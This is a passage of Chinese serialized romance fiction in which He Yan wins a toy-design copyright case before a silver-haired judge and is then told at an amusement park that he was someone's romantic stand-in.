他一脸失意地靠在沙发上,面前放着一瓶酒,已经没了三分之一。 他们在酒店住的是一个总统套间, 里面有四间卧室, 还有一个很大的客厅。 不过其中属于罗卡尔的那一间已经空了。 任方刚头也没动,只是斜着眼睛看了下贺衍。 “小贺, 刚才杰弗里玩具公司的律师给我打电话了。如果我愿意庭下和解,他们就不会再让我们赔偿那一百万,可以既往不咎。但如果我们明天坚持出庭,他们会让我以后在这个圈子里都混不下去。” 任方刚声音里满是无措和茫然,只过了一天, 他的嘴边已经长满了一圈胡子:“罗卡尔拿走了最初的设计原稿, 现在电话不接, 人也直接消失。” 他低着头,声音越来越小,自言自语道:“我是不是应该同意他们庭下和解的建议。一百万把员工这个月的工资发了还能剩下点钱呢。” “我们——”贺衍的话被突然进来的琳卡打断了。 房间内的酒味已经很重了, 但琳卡身上的味道比这更浓,她谁也没理, 醉醺醺地打开自己房间,砰一下关上了门。 任方刚沉默了一会儿, 抬头看向贺衍, 像是在寻求什么认同感一样:“小贺, FK是琳卡她们设计团队的人亲手设计出来的, 我们真的没有抄袭。” 贺衍语气肯定:“我知道。” 罗卡尔当初整理的资料,贺衍都一一看过,自然清楚FK飞机模型属于方刚玩具公司原创。 “对面的律师说,他们手上也有原稿。他们手上哪里会有什么原稿, 肯定是罗卡尔被他们收买了,把手稿给他们了。那个律师还说,就算我们找到再好的律师,明天也不可能赢。” 任方刚声音断断续续:“可是,我这两天,一个律师也没找到。咱们是不是输定了,我们现在没了最关键的证据,即使开庭,也没有赢的机会了。” 贺衍沉声:“我们能赢的,找不来律师,我们自己辩护。” 任方刚因为几乎整晚没合眼,眼白发黄遍布血丝。 现在这双满是自嘲和怀疑的眼睛看向贺衍,里满是呆滞和颓然:“小贺,咱们怎么可能会赢。自己辩护?我们怎么自己辩护,卡罗尔那个上过四年学的法学生都跑了。你就算懂一点法律,你能比得过对面那个专业的律师吗?” 贺衍神色镇定,他把任方刚手里的酒杯拿走,酒杯和桌面重重地碰撞,发出砰的一声。 他盯着任方刚的眼睛,一字一句地说道:“能赢的。” 任方刚愣住了,整个呆在了那里。 “老板,庭外和解,说是既往不咎。但杰弗里玩具公司的做法,已经让我们公司活不下去了。抄袭的骂名一旦被背在身上,在这个行业我们同样也没有什么未来了。” “我们不能退!”琳卡不知道什么时候从房间里冲了出来,脸上挂满水珠,重重地拍着桌面,酒杯发出震动嗡鸣,“我绝对不能容忍别人说老娘是抄袭狗!” 贺衍把酒推到一边,把剩下的资料放到了桌面上,袖口露出一截冷白的腕骨。 贺衍指尖轻叩桌面,他眉眼沉静,但周身凛冽的气质却让琳卡的酒意消散了大半。 “罗卡尔搜集的证据本就不全,他拿走了手稿,但我们还有其他的证据。” 第二天上午十点,铜海市中级法院开庭。 所有人站立等待法官上台。 法庭的灯光在这一刻似乎骤然冷了几分。 原本嘈杂的旁听席瞬间安静,所有人的目光都不由自主地望向那出。 原告席上站着的杰弗里玩具公司副总张建锐瞳孔猛缩,法官席前的不是上次那位神色温和的老法官,怎么没人通知他们换法官了,明明他们已经和那位法官谈好了价格。 这个新的法官是谁?银色的头发,好眼熟啊,张建锐咽了口唾沫,神色有些发虚。 一旁的律师埃默里轻声安慰道,语气极其自信:“张总,咱们的证据链都齐全了,就算换了法官也没事,咱们照样能胜诉。” 穿着黑色法官袍的男人走到了法官席前,银白的长发一丝不苟地被束在脑后,几缕碎发垂落在额前,却丝毫不显凌乱,反而更添几分冷冽的禁欲感。 淡金色的瞳孔不带一丝温度地扫过全场,他的眸色在某处忽然顿了一下,随后落座。 书记员在一旁宣布:“因原审法官临时请假,本案由杭凌一法官代为审理。” 杭凌一微微抬眸,修长的手指翻开案卷。他的动作极轻,却莫名让人屏息。 “现在开庭。” 他的嗓音低沉冷澈,旁听席上,有人不自觉地缩了缩脖子。 杭凌一,岑靳的朋友。 贺衍神色不变地收回视线。 法庭上气氛凝重。 原告律师埃默里面带自信,显然认为这次已经胜券在握。 他的视线扫到对面的被告席,忽然眉头一皱,这次怎么又多了一个陌生面孔。 埃默里眼睛一转,突然起身:“法官大人,被告方此次出席人员与上次不同,却未在文件里说明,程序上是否合规?” 杭凌一看向被告席,目光没有任何掩饰,直直地落在贺衍身上。 昨天看到的那个人居然真的是贺衍。 那个两个月前就被宣布死亡的人。 他居然到了姆扎州。 杭凌一的眉梢微微蹙起,淡金色的眼瞳几不可见地收缩了一瞬。 贺衍神色从容,向法警递交一份文件后,缓缓站起:“法官大人,我是方刚玩具公司的员工,作为被告方的代表出席,符合诉讼程序。” 杭凌一翻阅文件,看到上面的名字,眼睛微眯,随后点了点头。 杭凌一的指尖落在这两个字上,睫毛轻颤,若有所思地垂眸片刻。 自己要告诉岑靳,贺衍在这里吗? 两个月前,贺家举办了一场葬礼。当时在淮新的田商参加了这场葬礼,他说躺在棺材里的人和贺衍长得一模一样。 那时岑靳还在执行任务,等他回来的时候,人已经下葬了。 但谁也不清楚,后面岑靳会疯成那样。 几天后,岑靳飞回了淮新。 他听田商说,如果当初不是岑元帅拦着,岑靳已经把棺材挖出来了。 杭凌一那时候觉得是岑靳疯了,但现在,淡金色的瞳孔落在贺衍身上,凝着几分探究—— 贺衍起身,语气冷静,他声音不疾不徐,指尖轻点面前文件:“法官大人,原告主张我方侵权,但连最基本的证据链条都不准确……” 杭凌一微微眯了下眼,指尖轻轻划过案卷边缘,可那页纸的角落,已然留下一道几不可见的折痕。 杰弗里玩具公司的律师瞥了下嘴,胸有成竹地递交了最后一份证据——他们的“原创”设计稿手稿。 埃默里冷哼一声:“我司注册版权的日期,明显早于被告玩具发行的日期。被告根本无法提供最初的设计原稿,仅凭一张电子复印件,证明力极低。被告无法证明其设计早于我方,应直接驳回其主张!” 杭凌一目光带着审视:“被告,你们的主张的确缺乏核心证据支撑。” 贺衍缓缓起身,姿态从容而锐利:“法官大人,我方申请提交两份新证据。” 他这次径直走向书记员,递上一沓文件。 “这份是去年九月份,方刚玩具公司的差旅费报销单,我方设计团队曾赴津兴市玩具厂打样。” 贺衍目光灼灼地盯着杭凌一:“上面明确写着‘FK飞机模型测试’打样。” “这是当时工厂留存的产品照。” 投影仪亮起,日期戳清晰可见。 贺衍继续说道:“这些均是已经经过联网认证的电子存证,即使我方的设计原稿被恶意偷盗,只能提供电子原稿——” 埃默里立刻大声说道:“这些只是间接证据,根本不能证明!” 法官席上,杭凌一的淡金色的眼眸骤然一凝,他的睫毛微微下垂,在眼下投出一片阴影。 “原告代理人,”他的声音不轻不重,却让整个法庭瞬间陷入死寂,“本庭提醒你,打断他人陈述是极其不专业的表现。” 埃默里张了张嘴,旁边坐着的张建锐已经满头大汗了,他想起来这个法官是谁了。他猛拽了下埃默里的袖子,示意他不要顶嘴。 贺衍眉梢微挑,这个律师看着挺专业,怎么连相关的法条都没记牢。他不紧不慢地说道:“根据《联邦最高法院关于知识产权民事诉讼证据的若干规定》第九条规定,间接证据形成完整证据链时,可以认定权属。” …… 法槌落下。 “本院宣判,被告胜诉。” 杭凌一的声音依旧冷冽,尾音处却微不可察地轻了一分。 任方刚一直捏着的手心骤然松开,琳卡则直接抱住贺衍小声欢呼了起来。 人群开始喧哗着退场。 走廊尽头,贺衍突然停下脚步。 杭凌一对着他点了点头,淡金色的眸子微眯,声音平淡地说道:“聊聊。” 第74章 第 74 章 游乐园的偶遇 第74章 杭凌一站在走廊尽头的拐弯处, 他挡住了贺衍的去路。 阳光透过玻璃照亮了他的半张侧脸,淡金色的眼瞳收缩,像是盯住猎物的猎豹一般, 他嘴角轻扯了一下, 语气中带着几分玩味和探究。 贺衍掀起眼皮,面容一片冷淡:“我们, 没什么好聊的吧。” 任方刚本来正高高兴兴地和贺衍说着话,看到拐角站着的杭凌一,声音戛然而止。 琳卡张大嘴巴,眼睛一会儿看向贺衍一会儿看向杭凌一:“小贺,你们认识?!!” 这可是铜海市中级法院的法官, 而且是这么年轻的法官。 “喂, 小子, 你以为打赢这场官司你就可以扬扬得意了吗?”埃默里的声音从身后传来,语气满是讥笑和嘲意。 他冷哼一声:“我可是认识不少法官,你小子以后别想在法律界混, 你信不信,以后没一个法官会给你推荐信。” 任方刚和琳卡当即转过身, 对着埃默里怒目而视。 杭凌一闻言挑眉:“你以后想走法律这条路?” 贺衍左耳朵进右耳朵出,他嘴角下撇, 抬眼看了下不准备让路的杭凌一, 往左边迈了两步, 擦肩而过的瞬间。 杭凌一伸手拦住了贺衍, 他的声音里带着几分戏谑,轻声说道:“岑靳疯了一样在找你,你确定想让我告诉他吗?” 贺衍的脚步顿住了。 埃默里看到贺衍离开,眼里闪过一丝被无视的气愤, 他立刻加快脚步追上他,他推开挡路的琳卡和任方刚,气冲冲的表情瞬间僵在了脸上。 TM的,刚才那个法官怎么在这里。 银发的法官正侧着身子在和那个臭屁小子说着什么,他们两个居然认识。 但他冲得太快,几乎刹不住,差点撞到杭凌一身上。 埃默里嘟囔了一句:“啧,好狗不挡道。” 杭凌一拧了下眉,淡金色的眸子里满是寒意:“道歉。” “你以为你是谁,还想让老子道歉。”埃默里不屑地扯了下嘴,就中级法院的一个法官而已,他可是认识好几个高级法官,更别说他亲爹就是铜海市高级法院的一级高级法官。 张建锐身胖腿短,走得本来就慢,他又打了个电话,等他听到埃默里和杭凌一争吵的时候,额头上瞬间浮现一层冷汗,立刻跑了起来。 刚才他和上次的那位上了年纪的法官终于联系上了。 这次庭审法官换人的原因就是他收钱的事被杭凌一知道了。 之前的这位法官是在铜海中级法院干了十几年的老法官,已经是三级高级法官了,级别已经不低了。 但杭凌一直接就把他给革职查办了。 张建锐想到杭凌一的姓,心头就更慌了。联邦现在唯一的首席大法官就姓杭,那可是能够修改联邦宪法的存在。 他因为打输官司而活跃的一些心思也瞬间消失了。 张建锐死死拽着埃默里的手,指尖几乎掐到了他的肉里。 埃默里吃痛地嘶了一声,正准备开骂,却瞥见了脸色发白的张建锐。 张建锐咽了下唾沫:“那个,杭法官,对不起,对不起,刚才真是失礼了。埃默里他年纪还小,不懂事,您别跟他一般计较。我看您还有事要和这位小兄弟聊,我们就先走了。” 张建锐甚至对着任方刚和琳卡两个人赔笑着点头,然后他狠狠瞪了埃默里一眼,硬拖着埃默里离开了。 任方刚和琳卡对视了一眼,忽然感觉有些恍惚。 张建锐之前的模样不说趾高气扬,那也完全是不用正眼瞧人的。 那个杭凌一到底是什么人?能让他变成这种点头哈腰的状态。 琳卡悄悄瞥了眼面无表情的贺衍,小贺能和杭凌一认识,那他又会是什么人。 杭凌一捕捉到她的目光,忽而唇角弯了一下,他眉梢微扬:“两位,借用一下你们的‘律师’。” 任方刚舔了下嘴唇,表情紧绷:“小贺,你用我们陪你吗?” 贺衍抿唇摇头:“老板,琳卡姐,你们先回去吧。我过一会儿就去酒店找你们。” 铜海市中级法院,杭凌一的办公室。 “随便坐,咱们随便聊聊。”杭凌一给自己倒了一杯酒,他找了一圈,没找到别的杯子,就把酒杯递给了贺衍。 他扯了扯领口,又随手把发圈一把扯掉,半点没有刚才法庭上高岭之花的样子。 只是他的模样过于好看,这样做非但不显粗鲁,反而带着几分随性的肆意。 贺衍嘴角抽了下:“我不喝。” 杭凌一耸了耸肩,自己拿着酒瓶喝了一口:“虽然不清楚你这个‘死人’为什么还活着,但我也不是很在意。” 杭凌一唇角勾了一下:“你大概不清楚吧,岑靳那家伙不认为你死了,他当初甚至打算去贺家祖坟那里,把你从里面挖出来。” 贺衍的眼瞳几乎不受控制地震颤,眼皮下意识跳动。他已经知道岑靳在找自己了,但挖坟这种行为—— 杭凌一把酒瓶放到桌面上:“你觉得,如果岑靳找到你了,会发生什么吗?” 贺衍眉宇间浮现一丝寒意,他抬起眼睛:“你是在威胁我吗?” 杭凌一轻笑一声:“那倒不是,我没威胁人的爱好。” “我本来是打算告诉岑靳你在这里的。”凌一向前倾身,银色长发随着他的动作滑落到胸前,淡金色的眼瞳流转着光。 他忽然抬眼看向贺衍,淡金色的瞳孔里浮起一抹认真的神色:“但是我改变主意了。” “贺衍,如果你需要推荐信,可以找我。” 贺衍愣在了那里。 杭凌一对着他笑了下,那双淡金色的眼瞳燃烧着炽热的野心:“联邦的法律系统需要注入一些新鲜血液,我很欢迎你的加入。” 任方刚没了打赢官司的喜悦,他站在酒店里,焦急地走来走去。 琳卡撇了撇嘴:“我说,任哥,你能不能消停一会儿。走来走去我看着都心烦。” “可是小贺他不会出什么事吧,已经半个小时了,怎么还没回来。” 琳卡蹙眉,就是才半小时而已啊,任方刚那样子跟贺衍一天一夜没回来了一样。她无奈地叹了口气:“女人的第六感,我觉得那个杭凌一法官对贺衍没什么恶意。” 任方刚唇瓣紧抿:“小贺怎么会和那种大人物认识。” 琳卡往嘴里扔了个零食,她伸了个懒腰:“你真想知道等小贺回来问他,咱们在这里瞎猜能猜到什么。” 总统套房的大门被打开了。 任方刚立刻冲到门口,把贺衍从上到下好好检查了一遍,发现一切都正常,终于松了一口气。 琳卡起身,直接说道:“小贺,你怎么和那个杭法官认识的,他看着似乎是个很厉害的大人物。” “我们之前也只见过一面,”贺衍的表情几无可查地凝固了一瞬,他平静地说道:“大概是因为我认识他的朋友吧。” 津兴市,方刚玩具公司。 三个人回去的当天晚上,公司的员工好好庆祝了一番。等众人回去的时候,忽然被吓了一跳。 公司门口昏暗的灯光下,站着一个人。 琳卡揉了揉眼睛看清了是谁,她立刻冲了上去,用力踢了那个人一脚:“罗卡尔,你居然还有脸回来。竟然有胆子偷老娘的手稿——” 罗卡尔也不反抗,任由拳头落在自己身上。等琳卡出完气了,其他人才把琳卡拉回来。 罗卡尔把手里的初稿递给了琳卡,就在他准备离开的时候。 一直沉默的任方刚终于出声了:“我自认为对你并不差,但你为什么要背叛公司。” 罗卡尔没有转身:“因为他们承诺会给我一封法官的推荐信。” 任方刚低嘲着笑了一声:“就一封推荐信——” 罗卡尔听到任方刚的这句话,本来已经离开的脚步瞬间停滞了。他转过身,愤怒到了极点,整张脸几乎扭在了一起:“老板,你根本不懂,这封信对我意味着什么!不过现在,我什么都没有了。” 只是当他说完这句话之后,全身的力气像是被瞬间抽走一样,又变成了刚才那种蔫不拉几的模样。 贺衍看着这一幕,眼眸沉了下来,脑海中忽然闪现杭凌一的话:[他们用规则筑起高墙,但内部早已蛀空如蚁穴。与其修修补补,不如推翻重建。贺衍,你要和我一起吗?] 贺衍眼睛闪烁,指尖微微发烫,这可真是,难以拒绝的邀请啊。 贺衍和杭凌一最开始保持着每个月偶尔几次的联络。但两个人的性格意外地很合,后来变成了每周有空的时候都会聊一会儿。 有时候是贺衍请教他一些关于联邦案子的问题,有时候是杭凌一对他吐槽法院的一堆老顽固,吐槽联邦落后的法律体系。 五月初,鄢忬邀请贺衍和杨梅霞来铜海玩几天。 但计划赶不上变化。 贺衍和杨梅霞刚落地铜海市,就接到了鄢忬的电话,他的声音中带着一丝几不可察的失落:“阿衍,我家里出了一点小事,本来打算带着你和阿姨好好把铜海逛一逛。” 贺衍随口回道:“没事,叔叔你专心把家里的事情解决吧。” 听到贺衍的话,鄢忬在电话那头忽然轻笑了一声,声音莫名低了几分,说到最后,声音几近呢喃了:“阿衍说得对,先把家里的事情解决,才能好好和阿衍在一起。” 贺衍也没听清,正准备问他说了什么,就听见鄢忬说道:“要给你们找一个导游吗?” 贺衍倒是无所谓,他询问了一下杨梅霞的意见:“不用啦,我们自己逛就行,网上的旅游路线一搜一大把。” 祖孙两个人在铜海市逛了两天。 第三天,今天的行程是铜海市的最大的游乐园,也是姆扎州最大的游乐园。 杨梅霞出门的时候忽然扭到脚了,脚肿了,虽然还能走路,但是很疼。 贺衍去楼下买了点药:“奶奶,咱们今天休息一天吧。” 杨梅霞却催促着他出去:“我看网上这个门票可是难抢得很,人家鄢老师好不容易给我们弄到两张票,时效只有今天一天。你又没事,肯定要去玩一玩,不能浪费了鄢老师的一片心意。” 贺衍小声嘟囔:“我觉得鄢忬大概率不会在意。” 杨梅霞自责地抿了下嘴:“你长这么大都没有去过游乐园,小时候一直嚷嚷着想去,怎么长大了又不想去了。” 贺衍最受不了杨梅霞这种表情了,他立刻拿起门票:“我现在就去。” 杨梅霞笑意重新回到了脸上:“到时候给我发照片,你一定得在照片里。” 贺衍认命地点头:“您放心吧,等一会儿您就会收到我的照片轰炸。” 铜海市游乐园。 现在正是周末,游乐园里到处都是人。 贺衍扯起一抹假笑,在大门口自拍了一张,编辑了一条信息发给了杨梅霞:“到游乐园了。” 身后忽然传来一声轻笑。 贺衍没在意,他收起手机,准备检票过闸机。 “真是巧啊,居然在这里遇见你。” 眼前倏忽闪过一抹银色。 杭凌一站在人群中,银发松散地束在脑后,对着他懒洋洋地打了声招呼。 第75章 第 75 章 替身 第75章 贺衍的视线落在他的身旁, 一个看着大概五六岁,穿着粉色公主裙的小女孩。 眼睛很大,脸蛋圆圆的, 长得还挺可爱。 “这是你小孩?” 杭凌一嘴角的笑意僵住, 闪过一抹无语之色:“你先看看这小孩的长相,再看看我的, 哪里有相似的地方。” 小女孩有一头黑棕色的卷发,睫毛很长,她眨了眨眼,一直盯着贺衍,蓝色的眼睛闪着好奇的光。 要不是杭凌一一直牵着她, 人可能已经跑到贺衍身边了。 “我哪里像是有孩子的人啊。”杭凌一低头看了眼小女孩, “她叫西莉亚, 是我表哥的继女,我今天领着她来这里玩。” 杭凌一撇了撇嘴,他凑近贺衍轻声说道:“我那个事多的表哥最近在跟这小孩的爸爸离婚。他对这小孩挺好的, 不想让孩子知道,索性拜托我带她出来玩。” 嗯?他怎么没听懂。 贺衍睫毛忽闪, 眉心拧了一下。 “没搞懂?” 哦,他总是把这点给忘了, 男人也能结婚。贺衍叹了口气:“明白了。” 杭凌一唇角勾起, 细碎的光在他的眼中闪烁:“所以, 今天真是太巧了。” 杭凌一边说, 一边松开了一直拎着西莉亚后衣领的那只手。 下一秒,黑棕发色的小女孩就跑到了贺衍身边,牵住了他的手,一晃一晃地撒着娇:“大哥哥, 我们一起进去玩吧。” 贺衍有些僵硬地控制着力道回握住了她小小软软的手,随后眯着眼,带着杀气的目光落在了一旁满脸看好戏的杭凌一身上。 但那个家伙挑了下眉,然后学着西莉亚的样子说道:“贺衍大哥哥,我们一起进去玩吧。” 西莉亚眨了眨眼,又拽了拽贺衍,甜甜糯糯地小奶音里满是开心:“贺衍大哥哥,快进去吧,西莉亚想要玩了。” 杭凌一轻咳了一声,又跟着学道:“贺衍——” 贺衍另一只手捏了下眉心:“停,你别说了。我们现在就进去玩。” 现在是上午十点。 贺衍是第一次来这里,但西莉亚很明显不是第一次了。她一进来,就牵着贺衍直奔距离大门不远的玩偶店,小短腿跑得飞快。 杭凌一慢悠悠地跟在他们身后,等他走进去的时候,特别是看到贺衍生无可恋的表情, 唇角扬了起来,淡金色的眸中满是戏谑和调侃。 西莉亚叉着腰,噘着嘴,不满地说道:“表叔,你走得也太慢了。快点,快点,我要买两个粉色小猪发箍。我一个,贺衍大哥哥一个。” 贺衍挑了下眉,忽然也对着杭凌一笑了一下。 杭凌一眼皮一跳,忽然有种不好的预感。 贺衍盯着杭凌一,十分真诚地建议道:“西莉亚,不给你表叔买一个吗?如果只有我们两个人戴着,别人就不知道我们是一起玩的了。” 西莉亚的小脸一皱,然后点了点头:“嗯,表叔,你还是买三个吧,给你自己也买一个。” 杭凌一的笑意戛然而止:“西莉亚,我就不用了吧。” 西莉亚撅了下嘴,眼看泪花就要落下。 笑意转移到了贺衍脸上。 戴着红色小猪发箍的两大一小三个人,在游乐园里的回头率极高。 西莉亚坐在旋转木马上。 贺衍和杭凌一坐在一旁的长椅上,两个人刚想把头上的发箍拿下来,就和旋转木马上的西莉亚对上了视线。 贺衍干笑了一声,移开了放在头箍上的手。 杭凌一在一旁幸灾乐祸地笑了一声,然后就被贺衍踢了一脚。 “要不是旅游路线是我临时决定的,我都怀疑你是故意让我今天替你带孩子了。” 杭凌一忽然扭头看了贺衍一眼:“我本来以为你会觉得游乐园里挺无聊的,但没想象到你其实还蛮开心的嘛。” 贺衍脸上的表情很放松,他靠在长椅上,抬头看着蔚蓝的天:“第一次来,总是会新奇一点。” 毕竟不管是上辈子还是现在,他都是第一次到游乐园来。 第一次嘛,杭凌一愣了一下。 “要拍照吗?” 贺衍奇怪地看了他一眼:“莫名其妙说什么?” “你最开始不是在大门口那里打卡拍照吗?”杭凌一扬了扬手机:“我拍照技术还不错,所以,要我帮你拍照吗?” 下午三点,杨梅霞的手机忽然接连收到了一堆照片。 和前面明显的风景照不同,这些照片里每一张都有贺衍的身影。 看着孙子头上那个可可爱爱的粉色小猪,杨梅霞眼角的细纹里都长出了笑意。 下午,活力满满的西莉亚终于决定要回去了。三个人快要走到游乐园大门的时候,西莉亚的手腕上的儿童手表忽然响了起来。 “西莉亚,我来接你啦。”温柔的男性嗓音从电话里传来。 她挂断电话手表:“我爸爸要来接我啦,我们走快点。” 贺衍瞥了眼杭凌一,无声问他,西莉亚指的是哪个爸爸。 但杭凌一却愣住了,他的眉梢蹙起,他低声暗骂了一句;“艹,我怎么把这个给忘了。” “贺衍——” 但西莉亚已经拉着贺衍走到了游乐园的出口那里。 杭凌一啧了一声,手背上的青色血管微微隆起,淡金色的眼瞳里闪过一瞬的暗流。 杭凌一周身的气质瞬间冷冽,他的眉梢上隐约浮现几分躁意,神色也冷了下来。 表哥最好已经把贺衍给忘了,不要惹事。 他眯了下眼,大步走到贺衍身旁,接触到贺衍的目光,他脸上的冷意不自觉地消散了几分。 游乐园大门外,一个棕发棕眼的青年靠在一辆豪车前。周围不少人偷偷看他,或者说看他身后那辆价值几百万的豪车。 西莉亚蓝色的眼睛唰一下地亮了,小跑冲到了男人的怀里:“爸爸,你来接我啦?” 棕发男人把西莉亚抱了起来,唇角还没彻底扬起,笑意就从脸上消失了。 “西莉亚,除了表叔之外,今天还遇到谁了啊?”他低声问着西莉亚,眼睛却死死盯住了杭凌一旁的青年。 西莉亚抱住棕发男人的脖子:“还有贺衍大哥哥。” 贺衍!男人的脸色瞬间就变黑了,这个替身居然真的没死吗。 他把西莉亚抱到车上:“爸爸要和表叔还有……贺衍谈一些事情,西莉亚先回家。” 车开走了。 男人扯了扯嘴角,径直向贺衍走去,他的表情阴沉得几乎能滴出水来,那张本来还算不错的面庞现在看起来异常恐怖。 贺衍和杭凌一打了声招呼,也准备坐公交车离开。 但一个人挡住了他的去路。 男人的表情已经恢复了正常,他温柔地对着贺衍说道:“贺衍,你好,我是郗景。” “你应该听过我的名字吧?”郗景抬头,目光在贺衍的脸上仔细地扫视着。 他好像并没有听过,贺衍眉头轻蹙,只是,这个人眼里莫名其妙的敌意是怎么回事? 贺衍疑惑地说道:“你好,西莉亚的爸爸,有事吗?” 一旁的杭凌一漫不经心地往前走了一步,刚好挡住了贺衍,他掀起眼皮,露出了那双淡金色的眼睛:“表哥,你是没看见我吗,只跟我朋友说话。” 郗景倏然嗤笑,脸上伪装的和善不到一分钟就破功了,他冷冷地出声:“杭凌一,我怎么不知道你现在品位这么低级,会跟一个替身做朋友。” 贺衍眉梢微微一挑,他眯起眼睛,目光落在了说话的人身上。他的唇角先是紧绷了下,然后又忽地松弛,随后扯出一抹似笑非笑的弧度,替身,是指自己? 他从来没见过这人。 杭凌一没什么表情,他垂下眼睛,低头看向比自己低了半头的郗景:“表哥,说话之前最好过一下脑子。” 郗景咽了口唾沫,他后退了一步,但并没有离开。 他黑着一张脸,眼里不知道是嫉妒还是愤怒,全部一股脑地砸到了贺衍身上。 贺衍眼神冷淡,望着郗景的眼神像是在看一场无聊的笑剧。 郗景被贺衍的眼神刺了一下,他忽然扯了下嘴角:“喂,说你呢,耳朵聋了吗。” 他压低声音,轻笑一声:“贺衍,你难道不知道自己是我的替身吗?” 那声音满是浓稠的恶意和轻蔑。 贺衍眼神骤然冷了下来。 第76章 第 76 章 “滚。” 第76章 郗景认识岑靳, 还是因为杭凌一。 他在淮新上大学,那时候经常住在舅舅家里。大三暑假,当时杭凌一刚上高一, 经常会带朋友到家里做客。他也因此结识了岑靳他们几个。 暑假快要结束, 他和朋友坐在杭家的花园里聊天。两个人谈到自己喜欢的类型,他随口说道自己喜欢长头发的男生。 话音刚落, 一头微卷黑棕发色的少年就从他们眼前经过。 朋友开玩笑地说他是不是喜欢你,出现得这么巧。 他那时并未在意,毕竟岑靳桀骜不驯,对谁都是那种瞧不上眼的态度,也从来没有正眼看过他。 但从那时开始, 郗景却开始不自觉地关注岑靳。 大三寒假, 他又见到了岑靳, 他居然留长发了。 郗景本来以为只是巧合,可脑海中却不断浮现当初朋友说过的话。 大四毕业,他被家里逼着跟鄢昱订婚。 第二天, 他才知道岑靳在他订婚的那晚发疯了一样深夜在淮新飙车,最后甚至砸掉了他最喜欢的那辆超跑。 岑靳被送到军队之前, 他的朋友为他举办了一场欢送会,他也去了。 岑靳剪掉了长发。郗景那时候才确定, 岑靳是真的很喜欢自己。 但已经晚了。 他和鄢昱婚姻并不幸福。 去年, 他拜托杭凌一将自己的信交给岑靳。那时候他想, 只要岑靳回应自己, 不管付出什么代价,他都会和鄢昱离婚。 可他没有收到任何回复,直到今年一月份,他偶然遇到了田商。 他才知道贺衍的存在。 郗景已经死掉的心忽然又活了过来。 岑靳果然还喜欢自己, 他只不过是把对自己的喜爱投注到了那个替身身上。 他本来以为这个替身已经死了,但为什么还好端端地活着。 郗景的恨意几乎快溢出眼眶,如果不是因为这个替身,去年,岑靳不会不给自己回信。他也不会到拖到现在,还没能彻底跟鄢昱离婚。 斜阳落在游乐园的拱门上,彩色的铁艺栏杆在余晖中投下长长的影子。 贺衍太阳穴一阵发胀,下颌线紧绷。 他蹙眉看着郗景,他可以肯定他从来没见过,也从来没有听到过郗景这个名字。 但郗景是杭凌一的表哥,杭凌一和岑靳是朋友。 这个答案似乎很好推出。 贺衍垂眼看向他,做出最后的确认:“谁把我当你的替身?” 郗景故作惊讶地看向贺衍:“你觉得还有谁呢?当然是岑靳了。难不成你真以为他喜欢你啊。” 郗景的神色确凿又肯定,没有任何撒谎的痕迹。 他没有撒谎。 所以,自己真是他的替身? 为什么自己会被岑靳当作郗景的替身。性格?长相? 贺衍的胃里泛起一阵酸涩的恶心,像吞了只苍蝇,吐不出来又咽不下去。 “抱歉,原来你不知道这件事啊。如果不是因为我结婚了,他也不可能会和你在一起啊。”郗景略微抱歉地说道,他有些可怜地看着贺衍:“难道,你不觉得自己和我长得很像吗?” 郗景的目光落在贺衍的眉宇间,带着几分居高临下的怜悯。 可惜,替身只能是替身。 杭凌一眼睛眯起来,声音骤然冷了下去:“眼睛没用可以捐给别人。” 郗景嗤笑出声:“杭凌一,当初不是你替我把信送给岑靳,现在又在这里装什么好人。” 贺衍的眼睛慢慢眨动,眉头一点点地蹙起来。 [别妄想不属于自己的东西,你还没资格跟他比。] 平淡又冰冷的语调在耳畔回荡。 这的确是当初杭凌一说过的话。 初夏的傍晚,阳光依旧炽热,可贺衍却忽然后颈发凉。他的指尖无意识地摩挲着手机边缘,手背的青筋凸起。 原来那个“他”不是自己以为的岑靳,而是郗景。 贺衍扯了下嘴唇。 岑靳把自己当作了郗景的替代品,态度才会在一开始就那么反常的友善。根本没有什么想跟自己做朋友,岑靳所谓的喜欢,也不过是因为自己是另一个人的廉价替代品。 当初的疑惑解开了。 他以为自己不会在意的,贺衍的大脑放空了一瞬。 他喉结滚动,忽然有些反胃。 胸口像是被人塞进去了一团浸湿的棉花,又沉又黏,堵得他呼吸都不畅快。 他强迫自己不要去想。 可岑靳把他压在身下的那一幕,却完全不受控制地不断放映。 唇瓣的撕扯,炽热的吐息。那种无法逃脱的颤栗似乎无限被放大,再次把他拉到了回忆里。 他第一次觉得自己的记忆力不应该这么好。 过往的一幕幕在脑海中交织穿插,又变成了岑靳离开淮新前对自己的表白。 他以为自己已经忘了。 贺衍压住那股从胃里翻上来的恶心感。 他看向杭凌一,语气平静:“所以,你也早就清楚这件事。” 他的语气甚至不是疑问。 杭凌一张了张嘴,在贺衍的目光下终究是点了点头:“贺衍,我不是不想告诉你。但那时候——” 看到这一幕,郗景心里畅快起来,他咬着下唇才勉强不让自己大笑出声。 郗景倾身向前,忽然插嘴:“他当然不想告诉你了。明明人还活着,却被贺家宣布死亡已经够可怜了。如果再知道了自己不过是别人的替身,那人生不就更加悲惨了吗。” “你应该感谢我表弟的善心才对。”他的语气又轻又柔,却满是嘲讽和轻蔑。 贺衍掀起眼皮,面无表情地看了眼郗景。 郗景得意的神色忽然僵硬,呼吸都停滞了一瞬。郗景恼羞成怒,他干嘛要怕这个替身。 郗景神色阴冷了下来:“你既然已经‘死了’,就做好一个‘死人’,不要想着再出现在岑靳面前。否则,我不介意真的让你——” 贺衍眉毛动了下,忽然笑了,好久没听到有人再威胁自己了。他微微偏头,目光锁定对方,手腕动了一下。 他现在很不爽。 “你TM笑什么笑。”郗景说着,脚步却不由自主地后退了。 贺衍心里默数一、二…… 在他准备动手的前一秒。 “滚。”杭凌一眉眼压低,那双淡金色的眸子里没了情绪。 郗景表情扭曲,他指着杭凌一的手指气得发抖:“你居然护着一个外人。” 贺衍的神色已经恢复了平静,他没兴趣看两人的对峙,转身迈步走向公交站台。 杭凌一眉宇间一片森然的冷意:“郗景,我不想再说第二遍,否则就算是姑姑也保不了你。” 郗景气急败坏地离开了,离开之前,他半眯着看向贺衍的背影,眼里闪过一丝暗芒。 杭凌一追上贺衍,淡金的眼瞳中浮现些许的无措,他低声问道:“我想,我应该还有解释权。” 贺衍斜着看了眼他,没说话。 这是他第一次这么低声下气地跟别人解释,杭凌一抿了下唇,银发从肩头滑落,他烦躁地“啧”了一声,猛地抬手将垂落的银发胡乱拨到耳后。 他的脚步不过慢了几分,贺衍就又走远了。 杭凌一愣了一下,大脑还没思考,脚步已经开始加速了。 